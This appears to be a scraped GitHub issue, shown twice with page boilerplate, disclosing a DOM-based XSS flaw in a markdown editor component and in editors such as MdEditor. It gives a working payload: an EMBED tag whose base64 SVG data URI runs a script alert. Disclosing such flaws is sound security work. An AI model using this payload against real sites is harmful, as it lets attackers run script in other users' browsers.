This label and attack vector will cause dom-based XSS.
if you type <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhhYVMiKTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>,the xss vulnerability will be triggered.And other markdown online editors that use this component are also affected by this vulnerability,like MdEditor.
The text was updated successfully, but these errors were encountered:
This label and attack vector will cause dom-based XSS.

if you type
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhhYVMiKTs8L3NjcmlwdD48L3N2Zz4=" type="image/svg+xml" AllowScriptAccess="always"></EMBED>,the xss vulnerability will be triggered.And other markdown online editors that use this component are also affected by this vulnerability,like MdEditor.The text was updated successfully, but these errors were encountered: